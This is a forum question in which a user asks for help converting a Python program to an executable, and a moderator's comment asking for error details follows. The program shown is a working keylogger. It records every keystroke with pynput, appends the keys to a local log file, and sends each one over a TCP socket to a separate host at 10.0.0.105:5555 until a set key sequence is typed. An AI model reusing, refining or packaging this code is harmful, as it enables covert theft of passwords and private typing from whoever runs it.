0
Guys, I’ve been trying for a while to convert my program to exe, I’ve used several ways to do this, so far all gave errors. My code works perfectly in python but in exe it always returns an error. I beg you to help me thank you in advance
from pynput.keyboard import Listener
from collections import deque
import socket
password = ["2", "3", "Key.space", "0", "9", "Key.space", "2", "0", "2", "1"]
keys = deque(maxlen=10)
def log(texto):
with open('log.txt', 'a') as file_log:
file_log.write(texto)
def monitor(key):
cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cliente.connect(('10.0.0.105', 5555))
mensagem = ''+str(key) + ''
mensagem = mensagem.replace(']', '')
mensagem = mensagem.replace('[', '')
mensagem = mensagem.replace("'", '')
mensagem = mensagem.replace('Key.enter', '\n')
mensagem = mensagem.replace('Key.space', ' ')
mensagem = mensagem.replace('Key.shift_r', 'shift')
mensagem = mensagem.replace('Key.shift', 'shift')
mensagem = mensagem.replace('Key.', '')
mensagem = mensagem.replace('_r', '')
mensagem = mensagem.replace('_l', '')
cliente.send(mensagem.encode())
try:
log(key.char)
keys.append(key.char)
except AttributeError:
log(' <' + str(key) + '> ')
keys.append(str(key))
if(''.join (password) == ''.join(keys)):
return False
with Listener(on_release=monitor) as Listener:
Listener.join()```
If none of the above methods worked, edit the question and describe what were the outputs/errors generated in each, or if you cannot use any describe which limitations prevented you. Remember that the closing of the question is not permanent and can be solved if justified. You can use the [Edit] button to make the changes.
– Woss